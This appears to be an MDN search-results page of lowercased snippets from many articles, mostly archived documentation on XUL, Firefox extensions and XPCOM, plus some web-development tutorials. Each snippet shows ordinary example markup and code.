... "); if (!odicts.hasownproperty(smimetype)) { alert("rosetta.translatescript() \u2013 unknown mime-type \"" + smimetype + "\": script ignored."); return; } var ocompiled = document.createelement("script"); oscript.parentnode.insertbefore(obaton, oscript); oscript.parentnode.removechild(oscript); for (var aattrs = oscript.attributes, nattr = 0; nattr < aattrs.length; nattr++) { ocompiled.setattribute(aattrs[nattr].name, aattrs[nattr].value); } ocompiled.type = "text\/ecmascript"; if (oxhr200) { ocompiled.src = "data:text\/javascript," + encodeuricomponent(odicts[smimetype](oxhr200.responsetext)); } ocompiled.text = oxhr200 ?
...And 5 more matches
Install Manifests - Archive of obsolete content
layout the basic layout of an install manifest is like so: <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> some properties are required, some are optional.
...at the moment this only works for add-ons with em:type="2".
... examples <em:developer>jane doe</em:developer> <em:developer>koos van der merwe</em:developer> hasembeddedwebextension if present and given the value "true", this indicates that this add-on contains an embedded webextension.
...And 5 more matches
Adding sidebars - Archive of obsolete content
<menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the exa...
... creating a tabbed view is simple: <tabbox id="xulschoolhello-tabbox"> <tabs> <tab label="&xulschoolhello.maintab.label;" /> <tab label="&xulschoolhello.advancedtab.label;" /> </tabs> <tabpanels> <tabpanel> <!-- content for the main panel.
... <deck selectedindex="2"> <hbox> <!-- content for the first child.
...And 5 more matches
Intercepting Page Loads - Archive of obsolete content
this._loadhandler = function() {that._onpageload(); }; gbrowser.addeventlistener("load", this._loadhandler, true); gbrowser is a global object that corresponds to the tabbrowser element in the main browser window.
... gbrowser.removeeventlistener("load", this._loadhandler, true); finally, the actual code for the handler, which is very simple: _onpageload : function(event) { // this is the content document of the loaded page.
... asubject.setrequestheader("referer", "http://example.com", false); } else if (re_url_to_cancel.test(url)) { // re_url_to_cancel is a regular expression.
...And 5 more matches
Creating a status bar extension - Archive of obsolete content
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar p...
..."{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" is a guid that uniquely identifies firefox as the target.
... content status-bar-sample-1 chrome/content/ # firefox overlay chrome://browser/content/browser.xul chrome://status-bar-sample-1/content/status-bar-sample-1.xul the first line registers the location on disk of the contents of the extension whose id is "status-bar-sample-1".
...And 5 more matches
Localizing an extension - Archive of obsolete content
the preference dialog, whose xul file is options.xul, has a corresponding options.dtd file that looks like this: <!entity options_window_title "stockwatcher 2 preferences"> <!entity options_symbol.label "stock to watch: "> the "options_window_title" entity maps to the string "stockwatcher 2 preferences", which is used as the title of the preference window.
... the stockwatcher2.dtd file contains the mappings for the stockwatcher2.xul file: <!entity panel_loading "loading..."> <!entity menu_refresh_now.label "refresh now"> <!entity menu_apple.label "apple (aapl)"> <!entity menu_google.label "google (goog)"> <!entity menu_microsoft.label "microsoft (msft)"> <!entity menu_yahoo.label "yahoo (yhoo)"> update the xul files each xul file needs to reference its corresponding locale file.
...to options.xul, we add this line: <!doctype window system "chrome://stockwatcher2/locale/options.dtd"> we add a similar line to the stockwatcher.xul file: <!doctype overlay system "chrome://stockwatcher2/locale/stockwatcher2.dtd"> in larger applications you might need to use entities from several locale files in a single xul file.
...And 5 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
packages extensions to firefox are installed with packages ("bundles").
... an extension package usually contains a "content" provider, which contains the xul code and application logic.
...chrome/locale/emptysidebar.dtd <!entity emptysidebar.title "emptysidebar"> <!entity openemptysidebar.commandkey "e"> <!entity openemptysidebar.modifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3.
...And 5 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationprovider locprovider = new locationprovider(grepath); mozilla.initembedding(grepath, grepath, locprovider); } catch (filenotfoundexception e) { // this exception is thrown if gregrepathwithproperties cannot find a gre } catch (xpco...
...tialized for this code to work mozilla moz = mozilla.getinstance(); // now we need to start an xul application, so we get an instance of the xpcom service manager nsiservicemanager servicemanager = moz.getservicemanager(); // now we need to get the @mozilla.org/toolkit/app-startup;1 service: nsiappstartup appstartup = (nsiappstartup)servicemanager.getservicebycontractid("@mozilla.org/toolkit/app-startup;1", nsiappstartup.ns_iappstartup_iid); // get the nsiwindowwatcher interface to the above nsiwindowcreator windowcreator = (nsiwindowcreator)appstartup.queryinterface(nsiwindowcreator.ns_iwindowcreator_iid); // get the window watcher service nsiwindowwatcher windowwatcher = (nsiwindowwatcher)servicemanager.getservicebycontractid("@mozilla.org/...
...embedcomp/window-watcher;1", nsiwindowwatcher.ns_iwindowwatcher_iid); // set the window creator (from step 6) windowwatcher.setwindowcreator(windowcreator); // create the root xul window: nsidomwindow win = windowwatcher.openwindow(null, "chrome://your-app/content/window.xul", "mywindow", "chrome,resizable,centerscreen", null); // set this as the active window windowwatcher.setactivewindow(win); // hand over the application to xpcom/xul, this will block: appstartup.run(); here is an example of a locationprovider that works : public class locationprovider implements iappfilelocprovider { private final file libxulpath; int counter = 0; public locationprovider(file grepath) { this.libxulpath = grepath; }...
...And 5 more matches
Downloading Nightly or Trunk Builds - Archive of obsolete content
so to figure out how to download a cutting edge or bleeding edge or 'beta' version of firefox, you need to look for a "build" (which is developer-speak for the packaged files you can download) of 1.9.1 (the number of the underlying 'platform' called 'gecko' or 'mozilla' that firefox uses).
...for example "shiretoko" is used for firefox 3.5.
...the three common cases are "trunk", meaning the most recent version of mozilla; "branch", meaning the version before trunk (though it can be any version before trunk); and "next", meaning a possible version in the future.
...And 5 more matches
Java in Firefox Extensions - Archive of obsolete content
liveconnect gives your extension's javascript code (linked from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
...if you call java from xul, then each firefox window will have its own class loader and hence its own "singleton".
...(this works in firefox 3.x, for firefox 4.x use addonmanager.getaddonbyid) var extensionpath = components.classes["@mozilla.org/extensions/manager;1"].
...And 5 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
related: xulrunner:what xulrunner provides, xulrunner hall of fame ui in mozilla mozilla's philosophy of using "the right tool for the right job" is manifested most prominently in the design of the user interface.
...another benefit of this standards-based approach to ui development is that your application is cross-platform "out of the box".
... unlike many other application frameworks, you are not limited to the widget set we provide, nor limited to the "look and feel" of the native os.
...And 5 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
6 flexgroup "flexgroup" is used to group flexible elements together and should be set to an integer.
...xul (pronounced "zool," as if that spelling helped any, and short for "xml user interface language") is our name for the language in which these ui descriptions are built.
...if the element is a <tree> element and has the flags attribute set to "dont-build-content", a tree builder will be created.
...And 5 more matches
ContextMenus - Archive of obsolete content
<hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu attribute.
... function checkcontextmenu(event) { if (event.target.localname == "textbox") event.preventdefault(); } function init() { var container = document.getelementbyid("container"); container.addeventlistener("contextmenu", checkcontextmenu, true); } the 'checkcontextmenu' function checks to see if the textbox was the target of the context menu and, if so, cancels the event using the preventdefault method.
... <window id="main-window"> <popupset> <menupopup id="ins-del-menu"> <menuitem label="insert"/> <menuitem label="delete"/> </menupopup> </popupset> </window> <grid context="ins-del-menu"> <columns> <column/> <column flex="1"/> </columns> <rows id="rows"> <row align="center"> <label value="name:"/> <textbox/> </row> </rows> </grid> the same context m...
...And 5 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
just add code like this to your overlay: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" oncommand="myextension.ontoolbarbuttoncommand(event);"/> </toolbarpalette> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button).
... class="toolbarbutton-1" makes the toolbar button appear correctly in icons and text mode; it also adjusts padding.
... onclick="checkformiddleclick(this, event)" you can also handle middle-click and right-click using onclick handler and check event.button in it like this: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&toolbarbutton.tooltip;" onclick="myextension.onclick(event);"/> </toolbarpalette> onclick: function(event) { switch(event.button) { case 0: // left click break; case 1: // middle click break; case 2: // right click break; } } to add more buttons, put more <toolbarbutton> elements inside the <toolbarpalette> el...
...And 5 more matches
Adding HTML Elements - Archive of obsolete content
xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like the one we used to declare xul.
...here is an example as it might be added to the find file window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, you can use html tags as you would normally, keeping in mind the following: you must add a html: prefix to the beginning of each tag, assuming you declared the html namespace as above.
... "quotes" must be placed around all attribute values.
...And 5 more matches
Adding Properties to XBL-defined Elements - Archive of obsolete content
the general syntax is as follows: <binding id="element-name"> <content> -- content goes here -- </content> <implementation> <field name="field-name-1"/> <field name="field-name-2"/> <field name="field-name-3"/> <property name="property-name-1"/> <property name="property-name-2"/> <property name="property-name-3"/> .
... <method name="method-name-1"> -- method content goes here -- </method> .
...xul: <box id="random-box" class="randomizer"/> <button label="generate" oncommand="document.getelementbyid('random-box').number=math.random();"/> <button label="show" oncommand="alert(document.getelementbyid('random-box').number)"/> xbl: <binding id="randomizer"> <implementation> <field name="number"/> </implementation> </binding> a number field has been defined in the binding,...
...And 5 more matches
Element Positioning - Archive of obsolete content
an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not recommended that you do this.
...the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier.
... examples of setting widths and heights <button label="1" style="width: 100px;"/> <button label="2" style="width: 100em; height: 10px;"/> <button label="3" flex="1" style="min-width: 50px;"/> <button label="4" flex="1" style="min-height: 2ex; max-width: 100px"/> <textbox flex="1" style="max-width: 10em;"/> <description style="max-width: 50px">this is some boring but simple wrapping text.</description> example 1 the first button will be displayed...
...And 5 more matches
Focus and Selection - Archive of obsolete content
here is an example: example 1 : source view <button label="button 1" tabindex="2"/> <button label="button 2" tabindex="1"/> <button label="button 3" tabindex="3"/> the focus event the focus event is used to respond when the focus is given to an element.
...example 2 : source view <script> function displayfocus(){ var elem=document.getelementbyid('sbar'); elem.setattribute('value','enter your phone number.'); } </script> <textbox id="tbox1"/> <textbox id="tbox2" onfocus="displayfocus();"/> <description id="sbar" value=""/> the focus event, when it occurs, will call the displayfocus function.
...example 3 : source view <window id="focus-example" title="focus example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init(){ addeventlistener("focus",setfocusedelement,true); } function setfocusedelement(){ var focused = document.commanddispatcher.focusedelement; document.getelementbyid("focused").value = focused.tagname; } </script> <hbox> <lab...
...And 5 more matches
Keyboard Shortcuts - Archive of obsolete content
example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-command" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons.
...an example is shown below: <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> this sample defines a keyboard shortcut that is activated when the user presses the shift key and r.
... here are some additional examples: <keyset> <key id="copy-key" modifiers="control" key="c"/> <key id="explore-key" modifiers="control alt" key="e"/> <key id="paste-key" modifiers="accel" key="v"/> </keyset> keycode attribute the key attribute is used to specify the key that must be pressed.
...And 5 more matches
Tree Box Objects - Archive of obsolete content
note: it is not necessary to run tree.boxobject.queryinterface(components.interfaces.nsitreeboxobject) as shown in the code examples on this page because: let boxobject = tree.treeboxobject; note: is equivalent to: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); scrolling the tree you can also scroll the tree using four different methods, similar to those available for listboxes.
... example 1 : source view <script> function doscroll(){ var value = document.getelementbyid("tbox").value; var tree = document.getelementbyid("thetree"); var boxobject = tree.boxobject; boxobject.queryinterface(components.interfaces.nsitreeboxobject); boxobject.scrolltorow(value); } </script> <tree id="thetree" rows="4"> <treecols> <treecol id="row" label="row" primary="true" flex="1"/> </treecols> <treechildren> <treeitem label="row 0"/> <treeitem label="row 1"/> <treeitem label="row 2"/> <treeitem label="row 3"/> <treeitem label="row 4"/> <treeitem label="row 5"/> <treeitem label="row 6"/> <treeitem label="row 7"/> <treeitem label="row ...
...8"/> <treeitem label="row 9"/> </treechildren> </tree> <hbox align="center"> <label value="scroll to row:"/> <textbox id="tbox"/> <button label="scroll" oncommand="doscroll();"/> </hbox> note that we use the rows attribute on the tree to specify that only four rows are displayed at a time.
...And 5 more matches
Using nsIXULAppInfo - Archive of obsolete content
getting nsixulappinfo to get a component implementing nsixulappinfo use this code: var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); (for explanation see this creating xpcom article.) getting application information after you obtained the app info component, you can read its properties to get the application's id, human-readable name, version, platform version, etc.
... const firefox_id = "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"; const thunderbird_id = "{3550f703-e582-4d05-9a08-453d09bdfdc6}"; const seamonkey_id = "{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}"; var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo); if(appinfo.id == firefox_id) { // running under firefox } else if(appinfo.id == thunderbird_id) { // running under thunderbird } else if(appinfo.id == seamonkey_id) { // running under seamonkey } else { // another app } note: you could also use nsixulappinfo.name, which ...
...is a human-readable name for the application, such as "firefox", "thunderbird" or "seamonkey", but who knows, maybe they'll rename it again!
...And 5 more matches
XML - Archive of obsolete content
when an attribute is assigned a value (e.g., flex="1" or "onload='dointerestingstartupthing()'") that value must be double-quoted.
...for example, <html:img src="box.gif" /> is valid, but <html:img src="box.gif"> is not.
...xul is based upon xml, so it inherits a lot of the rules and syntax described above from this "meta-language," as you will see.
...And 5 more matches
Deploying XULRunner - Archive of obsolete content
additional application files such as icons, etc myapplicationname.exe (this is the "stub executable"...
...copy xulrunner/ to this directory when deploying with xulrunner 2.0 and above do the following: move chrome.manifest to the root directory, and adjust resource paths inside chrome.manifest accordingly with xulrunner 9.0 or 10.0 you may need to copy "mozutils.dll" and/or "mozcrt19.dll" from the xulrunner directory to the root directory.
... this should be fixed with xulrunner 11.0 with xulrunner 11.0 you may need to copy "gkmedias.dll" from the xulrunner directory to the root directory mac os x on mac os x, the exact layout of your application bundle depends on which version of xulrunner you're using.
...And 5 more matches
CSS - Archive of obsolete content
ArchiveWebCSS
however, those elements' ancestors have this pseudo-class applied to them.:-moz-system-metric()this page was auto-generated because a user created a sub-page to this page.::-ms-browsethe ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">.::-ms-checkthe ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">.::-ms-clearthe ::-ms-clear css pseudo-element creates a clear button at the edge of an <input type="text"> text control that clears the current value.
...a slider control is one possible representation of <input type="range">.::-ms-fill-upperthe ::-ms-fill-upper css pseudo-element is a microsoft extension that represents the upper portion of the track of a slider control; that is, the portion corresponding to values greater than the value currently selected by the thumb.
... a slider control is one possible representation of <input type="range">.::-ms-revealthe ::-ms-reveal css pseudo-element is a microsoft extension that is used to display a password reveal button for use with a password field created by <input type="password">.
...And 5 more matches
Accessing XML children - Archive of obsolete content
var a = {}; a.foo = 1; a["bar"] = 2; in e4x, the .
...var element1 = <foo> <bar/> </foo>; var element2 = <baz/>; element1.bar.appendchild(element2); element1["bar"].appendchild(<quux/>); adds a child to the "bar" child node of element1.
...in this case, accessing foo.bar will return an xml list object, of all child elements of the type "bar".
...And 5 more matches
Array.observe() - Archive of obsolete content
it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"].
...one of "add", "update", "delete", or "splice".
... oldvalue: only for "update" and "delete" types.
...And 5 more matches
Old Proxy API - Archive of obsolete content
terminology catch-all mechanism (or "intercession api") the technical term for this feature.
...fault implementation description name in proxy has: function(name) -> boolean function(name) { return !!this.getpropertydescriptor(name); } object.prototype.hasownproperty.call(proxy, name) hasown: function(name) -> boolean function(name) { return !!this.getownpropertydescriptor(name); } proxy.name (in the context of "getting the value") receiver.name (if receiver inherits from a proxy and does not override name) get: function(receiver, name) -> any function(receiver, name) { var desc = this.getpropertydescriptor(name); if (desc === undefined) { return undefined; } if ('value' in desc) { return desc.value; } else { if (desc.get === undefined) { return undefined; ...
... proxy.name = val (in the context of "setting the value") receiver.name = val (if receiver inherits from a proxy and does not override name) set: function(receiver, name, val) -> boolean function(receiver, name, val) { var desc = this.getownpropertydescriptor(name); if (desc) { if ('writable' in desc) { if (desc.writable) { desc.value = val; this.defineproperty(name, desc); return true; } else { return false; } } else { // accessor if (desc.set) { desc.set.call(receiver, val); return true; } else { return false; } } } des...
...And 5 more matches
2D collision detection - Game development
generally you will have a simple generic shape that covers the entity known as a "hitbox" so even though collision may not be pixel perfect, it will look good enough and be performant across multiple entities.
...} rect code <div id="cr-stage"></div> <p>move the rectangle with arrow keys.
... green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enterframe", function () { if (rect1.x < rect2.x + rect2.w && rect1.x + rect1.w > rect2.x && rect1.y < rect2.y + rect2.h && rect1.h + rect1.y > rect2.y) { // collision detected!
...And 5 more matches
Building up a basic demo with Babylon.js - Game development
html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: babylon.js demo</title> <style> html,body,canvas { margin: 0; padding: 0; width: 100%; height: 100%; font-size: 0; } </style> </head> <body> <script src="babylon.js"></script> <canvas id="render-canvas"></canvas> <script> var canvas = document.getelementbyid("render-canvas"); /* all our javascript code goes here */ </script> </body> </html> i...
... var camera = new babylon.freecamera("camera", new babylon.vector3(0, 0, -10), scene); there are many cameras available in babylon.js; freecamera is the most basic and universal one.
...add the following line below your camera definition: var light = new babylon.pointlight("light", new babylon.vector3(10, 10, 0), scene); the parameters are very similar to the previously defined camera: the name of the light, a position in 3d space and the scene to which the light is added.
...And 5 more matches
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
a value having the data type symbol can be referred to as a "symbol value".
...for example: // here are two symbols with the same description: let sym1 = symbol("sym") let sym2 = symbol("sym") console.log(sym1 === sym2) // returns "false" // symbols are guaranteed to be unique.
... note: if you are familiar with ruby's (or another language) that also has a feature called "symbols", please don’t be misguided.
...And 5 more matches
Responsive images - Learn web development
the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two new attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one.
... you can see an example of this in our responsive.html example on github (see also the source code): <img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> the srcset and sizes attributes look complicated, but they're not too hard to understand if you format them as shown above, with a different part of the attribute value on each line.
...in this case, we are saying "when the viewport width is 600 pixels or less".
...And 5 more matches
HTML table basics - Learn web development
LearnHTMLTablesBasics
adding headers with <th> elements now let's turn our attention to table headers — special cells that go at the start of a row or column and define the type of data that row or column contains (as an example, see the "person" and "age" cells in the first example shown in this article).
...</tr> <tr> <td>stallion</td> </tr> <tr> <th>crocodile</th> </tr> <tr> <th>chicken</th> <td>hen</td> </tr> <tr> <td>rooster</td> </tr> </table> but the output doesn't give us quite what we want: animals hippopotamus horse mare stallion crocodile chicken hen rooster we need a way to get "animals", "hippopotamus", and "crocodile" to span across two columns, and "horse" and "chicken" to span downwards over two rows.
...for example, colspan="2" makes a cell span two columns.
...And 5 more matches
Getting started with Svelte - Learn web development
first steps with svelte being a compiler, you can't just add a <script src="svelte.js"> tag to your page and import it into your app.
... also see the following for more information: "what is npm" on nodejs.org "introducing npx" on the npm blog "the easiest way to get started with svelte" on the svelte blog creating your first svelte app the easiest way to create a starter app template is to just download the starter template application.
...you should see something like the following: <script> export let name; </script> <main> <h1>hello {name}!</h1> <p>visit the <a href="https://svelte.dev/tutorial">svelte tutorial</a> to learn how to build svelte apps.</p> </main> <style> main { text-align: center; padding: 1em; max-width: 240px; margin: 0 auto; } h1 { color: #ff3e00; text-transform: uppercase; font-size: 4em; font-weight: 100; } @media (min-width: 640px) { main { max-width: none; } } </style> the <scr...
...And 5 more matches
Mozilla accessibility architecture
we call these objects "accessible nodes".
...toolkit specific implementations should have "wrap" appended to the class name.
...however, because this would have caused a lot of difficulty when implementing the accessibility cache, the code was moved in to the "wrap" classes in a source directory specific to each toolkit.
...And 5 more matches
Limitations of chrome scripts
the fix is generally some variant of "do that in a frame script loaded into the content process".
...however, this "dummy" object is completely static and only exposes a few of the normal properties that windows and documents have.
...if browser code tries an unsafe cpow operation, the browser will throw an exception and you'll see an "unsafe cpow usage forbidden” error in the browser console.
...And 5 more matches
Frame script loading and lifetime
the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
... to define the mapping between a chrome:// url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... for example: var mm = window.messagemanager; mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards.
...And 5 more matches
Message manager overview
frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to communicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts".
... this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script.
...these scripts are called "frame scripts".
...And 5 more matches
How Mozilla determines MIME Types
content-type "hints" mozilla has a concept of "content-type hints".
... this means that, for example, if mozilla encounters a <link type="text/css" rel="stylesheet" href="..."> element, a type of text/css will be assumed.
... similar handling happens for <a href="..." type="foo/bar">, starting in mozilla 1.6alpha.
...And 5 more matches
NetUtil.jsm
to use these utilities, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods.
... exceptions thrown this method throws an exception with the message "must have a source and a sink" if either asource or asink is null.
... var file = cc["@mozilla.org/file/directory_service;1"].
...And 5 more matches
PopupNotifications.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object provides methods for creating and displaying popup notification panels.
...for example, geolocation related notifications have the id "geolocation".
...setting this property will make the prompt display a "learn more" link that, when clicked, opens the url in a new tab.
...And 5 more matches
Localization formats
(it should be noted that this is near impossibility since most sites will be set up with gettext support.) .lang files can be easily edited in a text editor with this setup, a localizer is given a "[something].lang" file containing all the strings needing localization.
... $array["getting started"] = "débuter avec firefox" the php code searches the array and returns the translation that is associated with the english term used by the web developer.
... <h1><?php echo ___("getting started")?></h1> function ___($str) { return $array[$str]; } advantage to .lang simple work-flow allowing the web developer to place the file in svn and it can appear on the staging server .lang syntax is like simplified .po, which many localizers who are familiar with linux and other projects understand mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer no need to compile to .mo file so a localizer can see his/her changes more quickly creating simple diffs .lang files will be cached which will reduce any slowness effect disadvantage to .lang no plural forms no context for localizers unless you provide good comments no styling by localizers if it is needed may...
...And 5 more matches
Scroll-linked effects
below are a couple of examples of effects that would not work well with asynchronous scrolling, along with equivalent versions that would work well: example 1: sticky positioning here is an implementation of a sticky-positioning effect, where the "toolbar" div will stick to the top of the screen as you scroll down.
... <body style="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div.
...instead, it will move with the user's scrolling, and then "snap" back into position when the scroll event handler runs.
...And 5 more matches
Profile Manager
additionally, you can manually add firefox versions by clicking the "manage firefox versions..." button: each firefox version in the list has the following properties: path, version, and default.
... a dialog will appear that allows you to specify the profile's name, and optionally the profile's path, and the version of firefox (or other application) that will be used with this profile: launching firefox with a profile to launch firefox with a specific profile, select the profile in the main window, and hit the "start firefox" button: firefox will be launched with that profile, and profile manager will terminate.
... the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox.
...And 5 more matches
Creating a Cookie Log
change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter.
... type "export nspr_log_file=~/cookie-log.txt" and press enter.
... type "export nspr_log_modules=cookie:4" and press enter.
...And 5 more matches
Using the Places livemark service
initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark.
... var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
... var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"].
...And 5 more matches
XPCOM array guide
MozillaTechXPCOMGuideArrays
an nsiarray implementation can be created from c++ or javascript using nsicomponentmanager.createinstance() and the contract id "@mozilla.org/array;1".
... // return it to the caller *aresult = array; ns_addref(*aresult); } javascript example function getlist() { var array = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimutablearray); // append some elements ...
... when the array can or should be modified, then use nsimutablearray: // array is read-only because it uses nsiarray void printsize(nsiarray* elements) { pruint32 count; elements->getlength(&count); printf("there are %d elements.\n", count); } // using nsimutablearray, so callee may modify void tweakarray(nsimutablearray* elements) { elements->removeelementat(0); elements->appendelement(newelement, pr_false); } while it is usually possible to call queryinterface on an nsiarray to get access to the nsimutablearray interface, this is against convention and it should be avoided.
...And 5 more matches
Creating the Component Code
once enabled, this "weblock" mode is password protected and persists until it is turned off by the password holder.
... it can be used to implement parental controlled browsing for children, or for targeted "kiosk browsing," where the content is restricted to a particular server.
... includes and constants in weblock1.cpp #include <stdio.h> // may be defined at the project level // in the makefile #define mozilla_strict_api #include "nsimodule.h" #include "nsifactory.h" #include "nsicomponentmanager.h" #include "nsicomponentregistrar.h" // use classes to handle iids // classes provide methods for comparison: equals, etc.
...And 5 more matches
IAccessibleTable
when the table cells are not direct children of a table, the object representing the cell can define a "table-cell-index" object attribute identifying the 0 based table cell index.
...the "table-cell-index" attribute can be used just like a child index of the typical case.
... ats should first test for the presence of the "table-cell-index" attribute and if it is not present then iaccessible2.indexinparent() can be used as in the typical case where cells are direct children of the table.
...And 5 more matches
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
...(see nsicontentpref below.) for example, if you want to remember the user's preference for a certain zoom level on www.mozilla.org pages, you might store a preference whose domain is "www.mozilla.org", whose name is "zoomlevel", and whose value is the numeric zoom level.
... a preference need not have a domain, and in that case the preference is called a "global" preference.
...And 5 more matches
